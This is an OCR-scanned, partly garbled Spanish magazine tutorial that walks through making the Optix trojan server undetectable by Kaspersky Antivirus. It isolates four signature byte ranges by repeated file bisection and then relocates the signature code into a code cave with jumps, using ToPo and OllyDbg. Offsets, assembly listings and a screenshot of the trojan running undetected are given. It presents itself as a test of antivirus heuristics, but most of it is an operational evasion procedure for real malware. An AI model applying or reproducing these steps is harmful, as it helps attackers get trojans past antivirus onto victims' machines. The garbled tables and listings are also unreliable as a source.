10 es detectado por 2 7bbaoaab 991B0ON 991Bbh 7 7h
ol Inthinis. 3 | 9bbaaabaaa 9952Ch 9959Bh 1M1 6Fh
Tabla 1.

offset 991A9h. Guardamos, escaneamos
y... premio: es detectado! Perfecto, se
trata de una firma corta, ya la tenemos
delimitada en tan solo 12 bytes, vy
todavia es posible que sea mas corta.
Para acabar de delimitarla exactamente
volveremos al primer byte que hemos
cambiado (el de valor '68') e iremos
cambiando los siguientes hacia Ia
izquierda uno a uno, comprobando el
resultado del cambio a cada paso. Asi
pues el siguiente es el de valor '50', lo
cambiamos, comprobamos vy .. lo
detecta! Por fin, ya tenemos la firma
perfectamente delimitada ~_~!l! Los
bytes catalogados van del offset 991b0h
al 991b6h ambos incluidos. Como veis se
trata de una firma de tan sdlo 7 bytes, y
hemos sido capaces de encontrarlos
perdidos entre |la cerca de 800 mil!!

Ya tenemos una, faltan dos mas. Una en
la primera mitad de esta misma fase, vy
como minimo otra en la
7bbaaaba’, en la que todavia no hemos
entrado. Es trivial encontrar las otras dos
firmas que nos faltan siguiendo esta
misma metodologia y creo que
describirlo aqui seria alargar demasiado
el articulo con informacion de poca
relevancia, asi que pasaré directamente
a deciros cuales son esas firmas y donde
se encuentran porque nos seran nece-
sarias para sequir con la practica. De
todas formas os recomiendo que inten-
téis buscarlas por vosotros mismos. Po-
déis ver los detallesenla Tabla 1.

RERSmSEo RS

Firmas 1y 2 |

==
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La firma 2 es la que hemos aislado hace
unas lineas. A continuacion tenéis un
esquema (Esquema 1) del proceso que
hemos ido siguiendo hasta conseguir
llegar a estas tres firmas. En él también
se puede apreciar perfectamente Ia
tremenda eficiencia del método que
hemos seguido, es espectacular lo dras-
ticamente gue se reduce el espacio de
busqueda en solo 9 pasos.

En teoria modificando el contenido de
cada una de esas firmas obtendriamos
un archivo que no seria detectado por el
KAV, o al menos eso podemos deducir de
las pruebas que hemos hecho hasta
ahora. Comprobémoslo. Abrimos el
archivo original el 'SrvOptix-Ins.exe’,
cambiamos uno cualquiera de los bytes
entre los offsets de cada una de las
firmas por '00', guardamos el resultado
por ejemplo como 'SrvOptix-Ins-
F1F2iF3out.exe', analizamos vy.. lo
detecta!! o_O!!

¢Como es posible? ¢0s acordais que en la
fase 7 nos hemos encontrado que habia
2 firmas complementarias? Con
complementarias quiero decir que si el
escaner del AV encontraba las dos firmas
cantaba el troyano, pero si solo
encontraba una de ellas (cualquiera) no
cantaba nada. Pues bien, con el método
gue hemos estado siguiendo es muy facil
que varias firmas de este tipo nos hayan
pasado inadvertidas en cualquiera de las
particiones que hemos hecho. Y es justo
ahora, que volvemos al archivo original y
con precisién quirtrgica deshabilitamos
las firmas que hemos podido aislar,
cuando vuelven a adquirir relevancia
todas las firmas complementarias que
nos hemos ido dejando por el camino. No
nos hace falta dar con todas ellas, tan
solo con las suficientes para que no siga
cantando el KAV, seguramente una mas
bastara. Es bastante poco habitual que
un AV tenga mas de 2 firmas
imprescindibles para un solo archivo,
que tenga mas de 4 no lo he visto nunca.

Para dar con una de esas firmas
complementarias que nos faltan
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ficamos las
Offsets Longitud Si modi
Firma Fase firmas de manera
Inicial Final Dec [ Fin aleatoria es muy
1 7bbaaaab 984ACHh | 985AAR 254 FER probable gue el
2 7oboaaab | 991B0h | 991Béh 7 7h ejecutable resultante
t 1 | 1 sea muy inestable o
3 9obocobaaa | 9952Ch | 995980 | 111 | 6Fh | gue i tan solo llegue
4 BQaaoaaaaoaa- | 2E37Eh 2E3Adh 38 26h a ejecutarse.
Tabla 2.
debemos basarnos en el nuevo archivo  archivo. Escaneamos el resultado vy

original con las 3 firmas que vya
conocemos deshabilitadas 'SrvOptix-
Ins-F1F2iF3out.exe', y empezar otra
pasada de particiones guiandonos con
los cambios de comportamiento del AV.
Nos sera igual de (til tanto un cambio de
positivo a negativo como viceversa.

Podemos empezar a vaciar por donde
queramos, pero parece logico que en la
primera particién, justo cuando
vaciamos casi la mitad del archivo, sea
donde encontremos mas facilmente una
de esas firmas complementarias, porque
es un rango muy amplio. Asi que
podemos limitarnos a mantener la
segunda mitad del archivo intacta
(excepto las 3 firmas que ya conocemos
y hemos deshabilitado) y dedicarnos a
hacer particiones de la primera mitad
buscando el cambio de actitud del AV.

Empezamos pues nuestra segunda
vuelta creando un nuevo arbol de
carpetas que empieza en la que
llamaremos 'Fase_Bla'. La segunda
mitad del archivo es la que correspon-
deria a 'Fase_B1b' y es la que manten-
dremos intacta pero sin las 3 firmas. Las
primeras particiones seran las corres-
pondientes a las Fases B2aa y B2ab,
donde vaciaremos una de las dos y guar-
daremos el archivo resultante acordan-
donos siempre de mantener en él la
segunda parte del archivo intacta
excepto las tres firmas (no insistiré mas
en esto, pero deberiais tenerlo presente
en cada paso).

Vaciamos entonces en la 'Fase_B2aa'
desde el offset 32348h al 64290h y
guardamos el resultado como 'SrvOptix-
Ins_F1F2iF3out_400-32348.exe'. Si
preferis, en esta segunda vuelta,
vosotros podéis optar por apuntar en el
nombre de archivo la parte vaciada en
lugar de la parte intacta, que es la gue yo
he usado por seguir el mismo criterio que
en la primera vuelta. Como la segunda
parte permanece siempre constante no
veo relevante el ponerlo en el nombre de
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vemos que sigue dando positivo. Como
no se ha dado el cambio de comporta-
miento que andamos buscando en el AV
(sigue detectandolo como virus a pesar
de haber vaciado una cuarta parte del
archivo) aumentamos un poco mas el
vaciado pasando a la siguiente fase.

La Fase_B3aaa mantendrd intactos
desde el offset 400h al 193A4h.
Guardamos el archivo correspondiente,
escaneamos y comprobamos que esta
vez si que hay un cambio, el AV deja de
detectarlo. Eso significa inequivoca-
mente que en el trozo que acabamos de
vaciar hay una firma, entre los offsets
193A4h y 32348h. Para acercarnos a ella
debemos pasar a la fase 4 recuperando
una mitad del trozo que hemos vaciado
en la fase 3. Una manera de hacerlo es
volviendo a abrir el archivo de la fase 2
'SrvOptix-Ins_F1F2iF3out_400-
32348.exe' y vaciando esta vez la mitad
menos que en la fase 3, es decir, desde el
offset 25B76h al 32348h.

Seguramente muchos de vosotros
andaréis ahora mismo bastante perdidos
:P, es perfectamente comprensible. Es
muy facil perderse entre tantas mitades,
agujeros y numeros como los que
llevamos encima ahora mismo... Por eso
creo conveniente que le echéis un
vistazo al esquema de la segunda vuelta
(Esquema 2) antes de continuar. En él

PC Paso a Paso

he puesto en rojo las fases donde el
archivo es detectado y en azul donde no
es detectado. Como veis cada vez que
hay un cambio de color (es decir, un
cambio de conducta en el AV) se produce
también un cambio de direccién de
vaciado en la fase siguiente que a la vez
nos acerca un poco mas a la firma que
buscamos.

Asi pues en la 'Fase_B4aaaa+' (el signo
'+' marca la adicién de una mitad ante-
riormente eliminada) guardaremos el
archivo 'SrvOptix-Ins_F1F2iF3out_400-
25B76.exe', escanearemos Yy, COmMoO
vemos en el esquema, tampoco nos lo
detecta. Conlo cual pasamosalafaseSy
afiadimos una mitad menor més.

En la 'Fase_B5aaaaa+' nos ocurre lo
mismo, asi que repetimos el proceso. En
la fase B6 ya tenemos la parte intacta
entre 400h y 2F153h. Guardamos el
archivo, escaneamos y lo detecta, asi
que en la fase siguiente toca quitar una
mitad menor mas...

Bueno, llegados a este punto ya no hay
mucho misterio, se trata de ir siguiendo
el proceso paso a paso hasta que
llegamos a la fase B9, lo que quiere decir
que tenemos el espacio de la firma
reducido a un intervalo de 63Eh (1598)
bytes. Eso corresponde a tan solo unas
dos paginas en el HW, con lo cual
pasamos ya a la fase manual y linea a
linea, byte a byte, acabamos aislando
totalmente la firma 4 del offset 2E37Eh al
2E3A4h ambos incluidos.

El cuadro completo de firmas encontra-
das nos queda como se ve en la Tabla 2.

Una vez conseguida la 42 firma debemos
volver a comprobar que efectivamente

Esquema 2.
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no nos hace falta ninguna mas para que
el troyano no sea cantado. Asi que
volvemos al archivo donde deshabilita-
mos las tres firmas anteriores, el
'SrvOptix-Ins-F1F2iF3out.exe'y lo edita-
mos con el HW para deshabilitar la cuarta
firma. Guardamos el resultado como
'SrvOptix-Ins-F1F2F3iF4out.exe', esca-
neamosy... EUREKAAA!I!

Por fin terminamos la maratén!!
Acabamos mareados y exhaustos, pero
conseguimos el objetivo marcado [].

Bueno, bueno, bueno... ya conseguimos
aislar las firmas detectadas por el KAV. Y
ahora, ¢équé hacemos con ellas?
Sabemos que si modificamos aunque
solo sea uno de los bytes que las
conforman ya nos es suficiente para que
el archivo resultante no sea detectado.
Pero también sabemos que todos y cada
uno de esos bytes son necesarios para el
correcto funcionamiento del ejecutable.
Estan ahi por algo, cada byte forma parte
del cddigo que se interpreta al ejecutar la
aplicacion que lo contiene. Por lo tanto si
modificamos esos bytes de manera
aleatoria tenemos todos los ndmeros
para que el ejecutable resultante sea
tremendamente inestable, o directa-
mente ni se ejecute.

Necesitamos un método para cambiar
esos bytes sin que la ejecucion final del
programa se vea alterada. Aqui es donde
entra en escena el método RiT.

EL METODO RiT

Un poco de historia

Antes de empezar a explicar en qué
consiste el método os contaré como
surgio. He comentado al principio del
articulo que el método de firmas que
usan los AV es bastante antiguo vy
ampliamente conocido. Pues bien, hace
afios surgié una herramienta llamada
‘avpoffset' que permitia encontrar las
firmas que te detectaba el Kaspersky en
el archivo que quisieras. Era una
herramienta especificamente disefiada
para éste AV, ya que necesitaba acceder
a las bases de datos del mismo para de
alguna manera sacar las firmas de alli.
Aungue ha seguido funcionando perfec-
tamente durante varios afios hoy en dia
ya no saca las firmas correctas, puede
comprobarse con el Optix que estamos
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¢Y si cambiaba B YoPo vi 2'K
parte del codigo de

las firmas de sitio? ~ Select file...

Podia llevarse parte
de ese codigo a un

hueco y red"rjgir el Bytes to be added:
flujo del programa T
mediante saltos, Resuk

para que el codigo
resultante fuera el
mismo que antes solo
gue con unos cuantos
saltos de mas.

usando en esta practica. El caso es que
descubri esta herramienta a finales del
2003 y en esos tiempos funcionaba
perfectamente. Empecé a jugar con las
firmas que obtenia de archivos
detectados para intentar hacerlos
indetectables, pero siempre me
encontraba con el mismo problema, el
archivo resultante raras veces
funcionaba o se volvia demasiado ines-
table como para ser (til.

En esa época yo no conocia el significado
real de los bytes que modificaba, aunque
si sabia que los bytes eran el cédigo que
hacia 'funcionar' la aplicacion, para mino
dejaban de ser simples numeros sin
significado. Me limitaba a variar los
valores de los bytes con un editor
hexadecimal sumandole o restandole 1
al valor original. Si por ejemplo encon-
traba un '57' lo pasaba a '58' y me
guedaba tan ancho. Como no entendia
nada de lo que veia esperaba que al
variar 'poco’ ese valor el resultado final
de la ejecucion fuera mas o menos
parecido. Ahora soy consciente de que
era un pensamiento irracional y sin
ningln fundamento, pero en esos mo-
mentos yo no daba para mas :P.

Paso el tiempo y, a principios del afo
siguiente, empecé a interesarme por el
misterioso mundo (hasta ese momento)
de laingenieria inversa, del reversing
v de los crakmes. El tema me engancho
desde el primer momento. Guiado por
fantasticos tutoriales de numerosos
maestros desconocidos que iban
cayendo en mis manos, y ayudado por el
también fantastico Ollydbg, poco a
poco, crackme a crackme, fui empe-
zando a entender cada vez mas el sign-
ificado de esos extrafios valores que me
encontraba en el editor hexadecimal al
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Open |I

Scan v Backup file
+ All sections [ Redirect Entrypoint
™~ Execonly [~ Make code writable

k|
Help About |

Bxt |

Imagen 16.

mirar en las intimidades de los

ejecutables.

Un buen dia, buceando con el Olly en el
codigo ASM (ensamblador) de un
crackme que me estaba costando
bastante resolver, entre salto y salto,
parcheo y reensamblado, por alguna
razon me acordé de mis primeros pasos
con los editores hexadecimales, cuando
modificaba aleatoriamente y sin
conocimiento de causa esos mismos
valores para evitar el reconocimiento de
las firmas al Kaspersky. En ese instante
se me ocurrio: &Y si en lugar de cambiar
esas firmas simplemente cambiaba
parte de su cddigo de sitio? Me constaba
que debido a ajustes de compilacion es
habitual la presencia de pequenos
'huecos' en el cédigo de los ejecutables.
Podia entonces llevarse parte del cédigo
que se encontrara dentro de la firma a
uno de esos huecos y redirigir el flujo del
programa mediante saltos, para que el
codigo resultante fuera el mismo que
antes solo que con unos cuantos saltos
de mas.

Todavia llevaba poco tiempo en el
mundillo del reversing, era un simple
aprendiz (sigo siéndolo, ademas ahora
tengo una idea mas clara de la inmensa
cantidad de cosas que me faltan por
aprender) y no tenia ninguna seguridad
de que la idea que se me habia ocurrido
no tuviera en cuenta algun detalle de
esos importantisimos que convierten
una idea genial en una soberana
tonteria. Ademas tampoco tenia nada
claro como hacerlo realmente, Asi que
como buen aprendiz me dirigi a uno de
mis maestros en busca de ayuda. Y éste
no vio inconveniente en la posibilidad de
llevarlo a la practica y me ayuddé a
conseguirlo paso a paso. Acababa de
nacer el método RiT.
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El Proceso

Igual gue en el método anterior, vamos a
ver por adelantado los pasos que
seguiremos en este método para que
tengdis una idea global desde el
principio:

19) Buscamos el hueco que necesita-
mos dentro del ejecutable para ir
desplazando alli parte del codigo
de las firmas.

29) Abrimos el ejecutable con el Olly,
localizamos cada una de las
firmas y copiamos la parte del
codigo que cambiaremos de sitio
en el blocde notas.

39) Nos vamos al hueco y copiamos
alli las instrucciones que quere-
mos desplazar desde el bloc de
notas.

40) Eliminamos las instrucciones ori-
ginales y ponemos un salto nuevo
que apunte a su nueva locali-
zacion.

59) Afadimos un salto al final de las
instrucciones movidas que de-
vuelva el flujo de la ejecucién a la
instruccion siguiente del lugar
original.

69) Guardamos los cambios realiza-
dos en un nuevo archivo.

Haciendo Hueco

Localizar huecos en ejecutables es todo
un arte. Para hacerlo manualmente debe
tenerse un conocimiento avanzado de
ensamblador y conocer al dedillo todos
los entresijos de la estructura PE. La
buena noticia para nosotros es que
MrCrimson del grupo hispano WKT!
(Whiskey Kon Tekila xD), un auténtico
maestro en el arte del reversing, cred un
programa hace afios (1999) especi-
ficamente para eso: El Topo. Este
programa no solo es capaz de encontrar
esos huecos sino que también puede
crearlos modificando la cabecera PE del
ejecutable y afiadiendo una nueva
seccion al final del ejecutable con bytes
nulos del tamafio que nosotros
queramos. Como es un programa que
pesa bastante poco vy es algo dificil de
encontrar, esta incluido en el paquete de
la web.
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Al abrir el topo nos aparece lo que vemos
enlaImagen 16.

El funcionamiento es muy sencillo. Antes
de abrir el archivo debemos ajustar los
parametros ya que el ToPo va a escane-
arlo en busca de huecos automatica-
mente nada mas abrirlo. Lo mas reco-
mendable para evitarnos problemas
luego con el Olly es que escaneemos tan
solo la seccién ejecutable de la aplica-
cién, asi que seleccionaremos 'Exec
only'. La opcion de 'Backup file' se
explica por si misma, y las otras dos
opciones no las necesitaremos.

Le damos al boton 'Open’, el topo nos
informa de que va a escanear solo las
secciones ejecutables como le hemos
dicho y acto seguido nos aparece la tipica
ventana para seleccionar el archivo que
queremos abrir. Abrimos nuestro Optix
original 'SrvOptix-Ins.exe', y el ToPo
nos muestra laImagen17.

Nos notifica que ha encontrado un hueco
de 294 bytes dentro de una seccion
existente, y que por lo tanto podemos
reutilizar esa cantidad de bytes para
escribir el codigo gue gueramos sin tener
que cambiar el tamafo del archivo. Nos
dice también, por si esa cantidad de
bytes no nos es suficiente, que si
queremos puede crear una nueva
seccion y afadir alli los bytes que
necesitemos.

Siempre que podamos evitaremos
cambiar el tamafio final del archivo
afadiendo esa nueva seccion porque en
algunos archivos no convencionales (y
nuestro troyano es uno de esos) ha sido
modificada la estructura PE 'habitual’
anadiendo un trozo de cadigo al final del
archivo que no viene correctamente
indicado en la cabecera. Esta posibilidad
no es tenida en cuenta por el ToPo y al
afiadir la nueva seccion estropea ese
codigo del final del archivo obteniendo
como resultado un ejecutable que no
funciona.

En nuestro caso con anadir 100 bytes
tendremos de sobra, asi que elegimos
que no nos cambie el tamano total del
archivo y le damos a 'OK'. Una vez de
vuelta a la ventana principal del ToPo le
decimos que nos afiada 100 bytes en el
campo 'Bytes to be added' y le damos al
botén 'Do It!" para que haga el trabajo.
Lo hace en un instante y nos da los datos
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Select mode

You can add up to 234 bytes inside an existing section
without changing file size

Choose what you want me to do

& Use an existing section (file size unchanged)

(" Create a new section [file size increased)

Ok I

Imagen 17.

necesarios para localizar la zona donde
ha anadido esos 100 bytes de hueco:

Bytes to be added — Scan
™ All sections
T E—
160 (+ Exec only
Result
100 bytes added at:
-memory address. 004348DAK
file offset: 00099CDAK
Perfecto, con esto ya tenemos Ila

informacion necesaria para empezar a
trabajar con el Olly |-].

Romper Saltando

Para poder entender perfectamente esta
parte es necesario tener un cono-
cimiento basico de ensamblador y del
funcionamiento del Olly. Aln asi trataré
de ser lo mas claro posible intentando
explicar cada uno de los pasos nece-
sarios para llevar a cabo la practica sin
tener conocimientos previos. De todas
formas es muy recomendable que leais
un manual de ensamblador para tener
una idea de lo que estais haciendo. Con
una lectura por encima a cualquiera de
los miles de manuales que salen al
buscar 'manual ensamblador' en el
Google serd mas que suficiente.

Dicho esto sigamos con nuestra practica,
abrimos nuestro 'SrvOptix-Ins.exe' que
acabamos de modificar con el ToPo y nos
disponemos a localizar la primera de las
cuatro firmas dentro del Olly. Sabemos
que la firma empieza en el offset
(recordad que significa desplazamiento)
'984ACh' relativo al primer byte del
archivo, y que los offset que nos dice el
Olly (al menos en principio) son relativos
al mapeado que ha hecho de nuestro
ejecutable en la memoria. Para localizar
el offset correcto debemos abrir el
ejecutable dentro del mismo Olly, loca-
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lizar alli la firma y luego pedirle que nos
diga a qué punto de la memoria mapeada
corresponde el offset que hemos elegido.

Veamos este proceso paso a paso. Selec-
cionamos cualquier linea de la ventana
de cédigo desensamblado (la llamada
CPU) con el botdén derecho, en el menu
contextual seleccionamos 'View' y por
Gltimo 'Executable file' (Imagen 18).

Asi el Olly nos abre en una nueva
ventana el archivo original, tal y como
esta guardado en nuestro disco duro. En
esa ventana apretamos la combinacion
Control+G (igual que en el HW) vy le
ponemos el offset al que queremos ir, el
'984ACh'. Después seleccionamos ese
offset otra vez con el botdn derecho y
elegimos en el menl contextual 'View
Image in Disassembler' como vemos
enlaImagen 19.

Si todo ha ido bien nos encontraremos el
codigo de la Imagen 20 en la ventana
'CPU'.

Ahora ya nos encontramos en el lugar
adecuado para modificar las firmas.
Podemos ver a la izquierda los bytes que
encontrabamos en el editor hex y a la
derecha su traduccion a lenguaje
ensamblador, de manera que por fin
podemos interpretar el significado de
esos valores y cambiarlos por lo que
queramos usando como medio el
ensamblador y como herramienta a
nuestro querido Olly.

Imagen 18.

Las primeras 6 instrucciones que nos
encontramos son PUSH que 'empujan’
en la pila los valores que va a usar el
CALL a la API 'CreateFileMappingA' que
hay justo a continuaciéon. Aungue es po-
sible que no pase nada si interrumpimos
esa cadena de instrucciones creo que la
mejor opcidn es intentar coger siempre
instrucciones mas 'solitarias', como los
MOV que nos encontramos a continua-
cién. Lo importante es que cojamos una
instruccion que esté dentro de la firma,
cudl elijamos es lo de menos. Selec-
cionamos ambos MOV en la ventana
'CPU' del Olly, botén derecho y elegimos
Copy>To Clipboard. Abrimos el bloc de
notas del windows y pegamos lo que
acabamos de copiar.

Nos vamos ahora a la zona donde el ToPo
nos ha abierto hueco. Como nos ha dado
tanto el offset del archivo original como
del mapeado en memoria podemos
saltarnos el paso que hemos tenido que
hacer al principio para localizar el offset
mapeado en memoria de la firma. Le
damos directamente a Control+G con la
ventana CPU del Olly activa e
introducimos la direccion de memoria
qgue nos ha dicho el ToPo: '49A8DAR'.
Aqui nos encontramos con la ristra de
100 NOPs que nos ha metido el ToPo y
que es el espacio del que disponemos
para meter las instrucciones que
movamos. Ahora tenemos que pegar las
instrucciones que acabamos de copiar.
Tenemos varias posibilidades, yo suelo
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juntar en una cadena continua todos los
bytes que voy a copiar en el bloc de
notas, los copio y luego los pasteo en el
Olly. Por ejemplo, en este caso hemos
copiado lo siguiente al bloc:

DO4990C0

. BBFO MOV ESLEAX

004990C2 . 89B3 F4020000 MOV DWORD PTR

DS:[EBX+2F4].ESI

Si juntamos y ordenamos los valores hex
de los bytes nos quedaria algo asi:
8BF089B3F4020000. Esto lo podemos
hacer a mano en el bloc o directamente
con el Olly dandole 'Binary'>'Binary
Copy', luego nos vamos al hueco,
seleccionamos una cantidad de lineas
mayor a los bytes que hemos copiado,
botén derecho>'Binary'>'Binary Paste' y
tachan! yalo tenemos :P.

Ahora debemos redirigir el flujo del
programa colocando los saltos. Nos
vamos a la posicion original del cédigo
que hemos copiado (4990CO0h),
clickeamos dos veces con el botén
izquierdo sobre la instruccion MOV para
que nos aparezca el bocadillo de
'Assemble' del Olly y cambiamos la
instruccion que nos aparece por un 'JMP
49A8DA’', salto que apunta directa-
mente a la direccion de memoria donde
hemos pasteado el codigo hace un
momento. Nos aseguramos que la casilla
que pone 'Fill with NOPs' esté activada
y le damos al boton 'Assemble'. El
resultado deberia ser lo que observais en
laImagen 21.

Como vemos no solo nos ha cambiado la
primera instruccion MOV, también ha
desaparecido la segunda. Esto es debido
a que el primer MOV usaba 2 bytes y lo
hemaos sustituido por un JMP que ocupa
5. Como la segunda instruccion ocupa 3
mas que la primera el Olly ha tenido que
eliminar la siguiente instruccion (el MOV
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que ocupaba 6 bytes) para conseguir
esos 3 bytes méas de espacio y los 3 bytes
restantes los ha rellenado con la
instruccion inocua NOP, tal y como le
hemos dicho que hiciera al seleccionar
'Fill with NOPs'.

Nos apuntamos la direccién de memoria
de la instruccidn siguiente al Ultimo NOP
(4990C8h) y nos dirigimos a la zona del
hueco. Ahora solo nos falta afiadir aqui
otro salto justo después del segundo
MOV que apunte a la direccion que nos
acabamos de apuntar, de manera que el
codigo nos quede asi:

(NM9ARDA SBFO
O049AEDC 89B3

MOV ESLEAX

F4020000 MOV DWORD PTR
DS:[EBX+2F4],ESI

0049A8E2 “E9 EIETFFFF JMP SrvOptix. 004990C%

Y ya esta ~~! Ya hemos conseguido
cambiar la primera de las firmas
manteniendo sano el cédigo original. Las
otras firmas se cambian de la misma
manera, volverlo a explicar seria
repetirse, asi que os pongo el resultado
de los cambios que he realizado
directamente en los Listados 1, 2y 3.

En el cédigo desplazado de la segunda
firma hay intercalados unos NOPs que no
estaban en el cddigo original. Es
simplemente para mostrar que esa
también es una manera vélida de
modificar la firma y que nos puede venir
bien para modificar cadenas de muy
pocos bytes de longitud, como en este
caso donde la firma tan solo ocupa 7
bytes.

Por Ultimo nos queda guardar los
cambios realizados al archivo. Para ello
otra vez en la ventana CPU clickeamos
botdn derecho>'Copy to executable'>'All
modifications' y vamos aceptando todos
los avisos que nos vaya dando el Olly.

Llegd la hora de la verdad!! Sélo nos falta
comprobar que el archivo resultante no
es detectado por el KAV y que aun asi el
troyano sigue funcionando -correcta-
mente. En mi caso [mode Borbon] “"Me
llena de orgullo y satisfaccion” [/mode
Borbdén] deciros que ha sido un éxito |-].

Y como muestra un botén! La Imagen
22 es una captura de pantalla en donde
se puede ver al proceso del monitor del
KAV activo y al servidor funcionando y
conectado al cliente ;D.
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'.'[” main thread, module SrvOpt
. B8 H491490¢ PUSH Sro0pt 1x. BB4991Rd Macliane m
. 6A 84 PUSH 4 Ma w =4
6A 90 PUSH @ jigh = |
6A B4 PUSH 4 : I
. 6A 28 PUSH @ rity = NULL
% FF PUSH - \le = FFFFFFFF
. E8 BSDSFEFF CALL <JMP.&kernel32.CreateFileMappingf’|blreatef | leMappinal
. SBF@ .nou ESI,EAX
. 89B3 F4920000 MOU DWORD PTR DS:(EBX+2F41,ESI
. E5F& __TEST ESI,ESI
.vBF84 CABOOEOS| . Sruooc in.00849919A
an USH FHa =9
o] PUSH a -8
6A 60 USH =9
. 6A 82 PUSH 2 FILE_|
. 56 PUSH ESI pObJje
. E8 S2DAFEFF | CALL <JHP.&kernel32.MapViewdfFile> L apl i ewDFF i Le
2985 A4AS i z
Imagen 20.
Listado 1.
e Firma 2

>Codigo escogido:

00499DAF | 50 PUSH EAX

00499DB0O  |. 68 00000050 PUSH 50000000

00499DBS |, 68 209E4900 PUSH SrvOptix.00499E20 L ASCH
00499DBA

>Binario: 50680000005068209E4900

>Sustituido por:

00499DAF  E9 360B0000 IMP SrvOptix.0049A8EA
00499DB4 90 NOP
00499DBS 90 NOP
00499DB9 90 NOP

e Firma 3

>Cadigo escogido:

0049A123  OOFF ADD BH,BH
0049A125  FFFF 277
0049A127  FFOC00 DEC DWORD PTR DS:[EAX+EAX]
0049A12A 0000 ADD BYTE PTR DS:[EAX],AL
0049A12C 74 6A JE SHORT SrvOptix.0049A 198
0049A12E  36:6B33 6A IMUL ESLDWORD PTR SS:[EBX].6A
0049A132  636B 71 ARPL WORD PTR DS:[EBX+71],BP
0049A135 3267 3D XOR AH,BYTE PTR DS:[EDI+3D]
0049A138 0000 ADD BYTE PTR DS:[EAX],AL
0049A13A

>Binario: 00FFFFFFFFOCO00000746A366B336A636B7132673D0000

>Sustituido por:

"My Own Capiure Window"

: Unknown command

Imagen 21.

apObject
:] oV iewlfF i le

0049A123  -E9 F83E0300 IMP SrvOptix.004CE020
0049A128 90 NOP
0049A129 90 NOP
0049A138 90 NOP
0049A139 90 NOP
vg; 15160000 | JIP_Srulpt (3. BO49ABDA
g | HOP
98 | hoe_
85F6 T ESI,ESI
.v2584 CFIG%BGB JE Srvﬁm: ix.0049919A7
« 6AA l¢ { QUNW'S
* A emb 1 b4 e
v ——
: B |imp4S48DA
. 9%
. Al
. E8 ;
- 88 v Fil with NOP's Assemble |  Cancel |
- 39t
SI8E EBr
. 68 84914980 PUSH Srulpt ix. 00499184 ‘
. 641FF32 |PUSH_DWORD PTR FS: [EDX] |
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e Firma 4

>Cadigo escogido:

0042EF82
D042EF84
0042EFRA

. 8BC3
. 8B15 F8534200

>Binario: E85941FDFF

>Sustituido por:

0042EFR2
0042EF87
0042EF88
0042EF89

Listado 2.

e Codigo movido al hueco:

0049A8DA
0049A8DC
0049A8E2

D049A8EA
0049A8EB
0049A8EC
0049A8F1
0049A8F2
0049A8F7
0049A8F8

0049A900
0049A902
0049A904
0049A907
0049A909
0049A908B
0049A90F
0049A912
0049A915
0049A917

0049A920

0049A922
0049A928

Imagen 22.

H 5 =0@3 Fx

E9 99B90600
90
90
90

8BF0
89B3 F4020000
AE9 E1ETFFFF

50

90

68 00000050
90

68 209E4900
90

“E9 BDFAFFFF

00FF

FFFF

FFOCO00

0000

74 6A

36:6B33 6A
6368 71

3267 3D

0000

~“E9 1EF8FFFF

8BC3

8BI15 F8534200
“E9 5D46F9FF

[ ]

MOV EAX.EBX
MOV EDX.DWORD PTR DS:[4253F8] : SrvOptix.00425444

JMP SrvOptix.0049A920
NOP
NOP
NOP

Listado 3.

MOV ESLEAX
MOV DWORD PTR DS:[EBX+2F4],ESI
JMP SrvOptix.004990C8

PUSH EAX

NOP

PUSH 50000000

NOP

PUSH SrvOptix.00499E20
NOP

JMP SrvOptix.00499DBA

L ASCIT "My Own Capture Window™

ADD BH.BH

77 ; Unknown command
DEC DWORD PTR DS:[EAX+EAX]

ADD BYTE PTR DS:[EAX].AL

JE SHORT SrvOptix.0049A975

IMUL ESIL,DWORD PTR SS:[EBX].6A

ARPL WORD PTR DS:[EBX+71],BP

XOR AH.BYTE PTR DS:[EDI+3D]

ADD BYTE PTR DS:[EAX],AL

JMP SrvOptix.0049A13A

MOV EAX.EBX
MOV EDX,DWORD PTR DS:[4253F8]; SrvOptix.00425444
JMP SrvOptix.0042EF8A

|
=
¢
E "
B o
n.
B
s
E
o

Process FID CPU  Commard Line Sesz Company Hame Dezcriplion
e KAV ene 1840 2 “C\Archivos de programa\Kssperthy Lab\K aspershy AntiVieus Pes 0 Fapeniylab Pestonal i Tiag GUI Carpansnt
S avmm s 128 "C\Archevos de programatlaspershy Lab\aspensky AntrVieus P 0 Napersky Lah
hatz ene 676 CAWINDOWS \aystem 32\ sass awe 0 Microzolt Compaorafion LS4 Shell [Export Version]
2 proceap ek E 1 v 2 "Ch\Archivos de programa’\procespniiprocten e’ oS i L E
ervices eue &4 2 CVWINDOWS Lyshem3Tisanace: sus 0 Micreolt Cotponaton Aphcatin de tervicion y controlado
BN servadoroplic exe 165 e wandows \ysteen 3T\ servidoroplie s o
| CPU Uisage: 5% Comenit Charge: 29.20%  Processes: 24
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Conclusiones

Antes de continuar me gustaria que
tuvierais presente que las conclusiones
que expongo continuacién tienen una
importancia que debe ser relativizada en
su justa medida, ya que se basan en el
comportamiento del AV frente a Ia
deteccién de un solo archivo muy con-
creto. En esta practica nos hemos limita-
do a estudiar un ejemplo concreto de
troyano mientras que, tal y como vimos
al principio del articulo, un AV es capaz
de detectar muchos tipos distintos de
software malicioso. El método que he
descrito tampoco puede considerarse en
absoluto suficiente para una valoracion
cientifica de la heuristica de un AV. Para
ello seria necesario sequir las directrices
que indica Andrew Lee (de la empresa
Eset) en su articulo “Reflexiones
sobre la forma de examinar la
deteccion heuristica en compara-
tivas de productos.” y que se puede
consultar en el siguiente link: http://
www.vsantivirus.com/heuristica-
comparativas.htm .

El problema es que solo grandes em-
presas y los mejores profesionales del
sector tienen medios y conocimientos
necesarios para realizar un estudio
semejante. En cambio, la practica que
hemos realizado puede hacerla sin
demasiado esfuerzo cualguiera que se lo
proponga y que tenga unos conocimien-
tos muy muy basicos de ensamblador.
Ademas, una vez aprendida la filosofia
del método RIiT ya sélo depende de
vosotros mismos el decidir hasta donde
llegar en vuestro propio analisis.

Lo que si esta claro es que acabamos de
comprobar que es posible convertir un
archivo ejecutable detectado por el KAV
en uno no detectado, localizando las
firmas que usa este AV para identificar el
archivo y cambiandolas por un cédigo
equivalente, de manera gue la ejecucion
final de la aplicaciéon no se ve alterada.
Suponiendo que el Kaspersky efectiva-
mente esté utilizando técnicas heuris-
ticas en su escaneado, podemos extraer
una deduccion sencilla e inmediata de
esta conducta: su motor heuristico no ha
sido capaz de detectar (al menos en este
ejemplo concreto) un cambio tan trivial
como el gque hemos hecho al separar la
cadena detectada en dos trozos distintos
con unasimple orden de salto.
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Ademas, la técnica que hemos usado nos
permite realizar la misma prueba con
cualquier AV. Para hacerme una idea de
la efectividad que tiene el método RIT,
